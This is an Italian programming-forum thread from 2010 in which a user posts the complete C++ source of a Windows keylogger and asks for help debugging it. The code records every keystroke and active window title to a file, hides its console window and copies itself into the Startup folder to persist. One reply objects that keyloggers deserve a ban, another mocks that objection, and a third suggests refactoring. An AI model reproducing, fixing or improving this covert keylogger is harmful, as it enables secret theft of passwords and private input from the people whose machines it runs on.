Torna indietro   Hardware Upgrade Forum > Software > Programmazione

Cineca inaugura Pitagora, il supercomputer Lenovo per la ricerca sulla fusione nucleare
Cineca inaugura Pitagora, il supercomputer Lenovo per la ricerca sulla fusione nucleare
Realizzato da Lenovo e installato presso il Cineca di Casalecchio di Reno, Pitagora offre circa 44 PFlop/s di potenza di calcolo ed è dedicato alla simulazione della fisica del plasma e allo studio dei materiali avanzati per la fusione, integrandosi nell’ecosistema del Tecnopolo di Bologna come infrastruttura strategica finanziata da EUROfusion e gestita in collaborazione con ENEA
Mova Z60 Ultra Roller Complete: pulisce bene grazie anche all'IA
Mova Z60 Ultra Roller Complete: pulisce bene grazie anche all'IA
Rullo di lavaggio dei pavimenti abbinato a un potente motore da 28.000 Pa e a bracci esterni che si estendono: queste, e molte altre, le caratteristiche tecniche di Z60 Ultra Roller Complete, l'ultimo robot di Mova che pulisce secondo le nostre preferenze oppure lasciando far tutto alla ricca logica di intelligenza artificiale integrata
Renault Twingo E-Tech Electric: che prezzo!
Renault Twingo E-Tech Electric: che prezzo!
Renault annuncia la nuova vettura compatta del segmento A, che strizza l'occhio alla tradizione del modello abbinandovi una motorizzazione completamente elettrica e caratteristiche ideali per i tragitti urbani. Renault Twingo E-Tech Electric punta su abitabilità, per una lunghezza di meno di 3,8 metri, abbinata a un prezzo di lancio senza incentivi di 20.000€
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 27-10-2010, 17:01   #1
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
[C++] KeyLogger non funziona???

Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!

Questo è il codice:

Codice:
/*

KeyLogger v.Beta
Author: R#I
Language: C++

*/

#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <cstring>
#include <fstream>

using namespace std;

void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();

ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log

int main()
{
   nasc_sposta(GetEsecAutoDir());
   int key;
    HWND finestra_corrente;
    char titolo_finestra[255], attuale[255];
      while(1)
        {
      Sleep(10); // Per non usare tutta la CPU
        finestra_corrente = GetForegroundWindow();
         GetWindowText(finestra_corrente, titolo_finestra, 254);
          if(strcmp(titolo_finestra, attuale)!= 0)
             {
                logga("\n");
                logga(titolo_finestra);
                logga("\n");
             }
                 strcpy(attuale, titolo_finestra);

// ========================= Titolo Finestra ================

if(GetAsyncKeyState(key)== -32767){

   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      switch(key){
           case 112: logga("[F1]"); break;
           case 113: logga("[F2]"); break;
           case 114: logga("[F3]"); break;
           case 115: logga("[F4]"); break;
           case 116: logga("[F5]"); break;
           case 117: logga("[F6]"); break;
           case 118: logga("[F7]"); break;
           case 119: logga("[F8]"); break;
           case 120: logga("[F9]"); break;
           case 121: logga("[F10]"); break;
           case 122: logga("[F11]"); break;
           case 123: logga("[F12]"); break;
      }
   }   
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             logga(key);
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             logga(key);
             }                       
   }   
   // TASTI numerici   
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 :      logga('='); break;
      case 49 :      logga('!'); break;
      case 50 :      logga('"'); break;
      case 51 :      logga('£'); break;
      case 52 :      logga('$'); break;
      case 53 :      logga('%'); break;
      case 54 :      logga('&'); break;
      case 55 :      logga('/'); break;
      case 56 :      logga('('); break;
      case 57 :      logga(')'); break;
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57)logga(key);   
    } 
 
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 186 :       logga('é'); break;
      case 187 :       logga('*'); break;
      case 188 :       logga(';'); break;
      case 189 :       logga('_'); break;
      case 190 :       logga(':'); break;
      case 191 :       logga('§'); break;
      case 192 :       logga('ç'); break;
      case 219 :       logga('?'); break;
      case 220 :       logga('|'); break;
      case 221 :       logga('^'); break;
      case 222 :       logga('°'); break;
      case 226 :       logga('>'); break;
 
      }  
 
    }else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128  )&&(GetAsyncKeyState(18)==-127 || 
    GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 ||  GetAsyncKeyState(162)==-128 )&&
    (GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 101 :        logga('€'); break;
      case 192 :        logga('@'); break;
      case 222 :        logga('#'); break;
      case 187 :        logga(']'); break;
      case 186 :        logga('['); break;
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 :        logga('ò'); break;
      case 191 :        logga('ù'); break;
      case 222 :        logga('à'); break;
      case 187 :        logga('+'); break;
      case 186 :        logga('è'); break;
      case 188 :        logga(','); break;
      case 190 :        logga('.'); break;
      case 189 :        logga('-'); break;
      case 219 :        logga('\''); break;
      case 221 :        logga('ì'); break;
      case 226 :        logga('<'); break;
      case 220 :        logga('\\'); break;
      }
      
   switch(key){
 
   case 8 :         logga("[BACK]"); break;
   case 9 :         logga("[TABLE]"); break;
   case 11:         logga("[HOME]"); break;
   case 13:         logga("[RETURN]"); break;
   case 27:         logga("[ESC]"); break;
   case 32:         logga("[SPACE]"); break;
   case 33:         logga("[PAG SU]"); break;
   case 34:         logga("[PAG GIU]"); break;
   case 35:         logga("[END]"); break;
   case 36:         logga("[HOME]"); break;
   case 37:         logga("[left]"); break;
   case 38:         logga("[TOP]"); break;
   case 39:         logga("[right]"); break;
   case 40:         logga("[BOTTOM]"); break;
   case 44:         logga("[STAMP SCREEN]"); break;
   case 45:         logga("[INS]"); break;
   case 46:         logga("[CANC]"); break;
   case 91:         logga("[WINDOWS]"); break;
   case 92:         logga("[WINDOWS]"); break;
   case 96:         logga('0'); break;
   case 97:         logga('1'); break;
   case 98:         logga('2'); break;
   case 99:         logga('3'); break;
   case 100:        logga('4'); break;
   case 101:        logga('5'); break;
   case 102:        logga('6'); break;
   case 103:        logga('7'); break;
   case 104:        logga('8'); break;
   case 105:        logga('9'); break;
   case 106:        logga('*'); break;
   case 107:        logga('+'); break;
   case 109:        logga('-'); break;
   case 110:        logga('.'); break;
   case 111:        logga('/'); break;
   case 144:        logga("[BLOC NUM]"); break;
   case 145:        logga("[BLOC SCORR]"); break;
   case 163:        logga("[ESC]"); break;
   case 255:        logga("[SPACE]"); break;
   }
  }
 }  
}
    return 0;
}

void nasc_sposta(char *dir_destinazione)
{
    HWND invisibile;

      invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
      ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
      MoveFile("key.exe", dir_destinazione);   // Sposto in esecuzione automatica
}

char *GetEsecAutoDir()
{
  char disco[255], utente[255], *user_path;
  DWORD *a;
   user_path = new char[255]; // Alloccazione dinamica
   a = new DWORD[255];          // Come sopra
    GetSystemDirectory(disco, 254);  // Prendo disco rigido in uso
      destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
    GetUserName(utente, a);          // Prendo Nome Utente
     strncpy(user_path, disco, 3);   //
      strcat(user_path, "Documents and Settings\\");
      strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
      strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
  return user_path;  // Ritorno il cpleto valore per copiare il file in esecuzione auto
}

void logga(char carattere) // Loggo caratteri
{
    log.open("log.txt", ios::app);
    log << carattere;
    log.close();
}

void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
    log.open("log.txt", ios::app);
    log << stringa;
    log.close();
}
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 18:29   #2
Tommo
Senior Member
 
L'Avatar di Tommo
 
Iscritto dal: Feb 2006
Messaggi: 1304
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Mi sa che faresti bene a dare un occhio a una cosa che si chiama "tabella ASCII" perchè il tuo codice si riscrive in 4 righe.

A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Ciap
__________________
*ToMmO*

devlog | twitter
Tommo è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 18:35   #3
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Non sapevo fosse vietato??!
Comunque grazie per il consiglio, anche se, non penso che si possa scrivere proprio in 4 righe come dici tu!

EDIT: Ma comunque si sa perchè non lavora? Qual è l'errore che faccio?

Ultima modifica di L3n : 27-10-2010 alle 18:50.
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 19:34   #4
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Almeno mi sapete dire come rilevare i simboli @#[]€ con il tasto alt gr (ctrl e alt). Ho provato VK_CONTROL (CTRL) e VK_MENU (ALT), ma non li rileva per niente! Non si accorge nemmeno che vengono premuti, infatti mi da i caratteri normali senza la pressione di alt gr! Potete aiutarmi??
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 22:38   #5
shinya
Senior Member
 
L'Avatar di shinya
 
Iscritto dal: Jul 2005
Città: Bologna
Messaggi: 1130
Quote:
Originariamente inviato da Tommo Guarda i messaggi
A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Moralista bacchettone.
shinya è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 23:04   #6
d@vid
Senior Member
 
L'Avatar di d@vid
 
Iscritto dal: Jan 2005
Città: Napoli
Messaggi: 2424
Quote:
Originariamente inviato da Tommo Guarda i messaggi
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Scusate l'intromissione

intendi con un ciclo for?


Codice:
for i from 96 to 110
case i: logga(char(*codice ASCII progressivo*)) break;
end
__________________
~ ~ ho concluso con: capzero, DarkSiDE, Iron10, 12379, Hyxshare, Gort84, kristian0, scrafti, as2k3, gegeg, Kyrandia, Feroz, asta, nyko683, mstella, 00700, WotanBN, [COLOR=]Warez[/color], sesshoumaru, ...
nel we potrei non essere davanti al pc

Ultima modifica di d@vid : 27-10-2010 alle 23:08.
d@vid è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


Cineca inaugura Pitagora, il supercomputer Lenovo per la ricerca sulla fusione nucleare Cineca inaugura Pitagora, il supercomputer Lenov...
Mova Z60 Ultra Roller Complete: pulisce bene grazie anche all'IA Mova Z60 Ultra Roller Complete: pulisce bene gra...
Renault Twingo E-Tech Electric: che prezzo! Renault Twingo E-Tech Electric: che prezzo!
Il cuore digitale di F1 a Biggin Hill: l'infrastruttura Lenovo dietro la produzione media Il cuore digitale di F1 a Biggin Hill: l'infrast...
DJI Osmo Mobile 8: lo stabilizzatore per smartphone con tracking multiplo e asta telescopica DJI Osmo Mobile 8: lo stabilizzatore per smartph...
Apple si ispirerà a Nothing? Back...
Da Intel ad AMD, il grande salto di Kulk...
Velocità 12 volte superiore a que...
Una piccola Morte Nera è gi&agrav...
Sei frodi che minacciano gli utenti nel ...
BioShock 4: Take-Two rassicura sullo svi...
Tesla, Musk promette FSD 'quasi pronto' ...
BioWare conferma: il nuovo Mass Effect &...
5 robot aspirapolvere di fascia alta in ...
Xiaomi Redmi Note 14 5G a 179€ è ...
Veri affari con gli sconti de 15% Amazon...
Tutti gli iPhone 16 128GB a 699€, 16e a ...
Take-Two ammette: vendite di Borderlands...
Tutti i Macbook Air e Pro con chip M4 ch...
GeForce RTX 50 SUPER: non cancellate, ma...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 16:17.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Served by www3v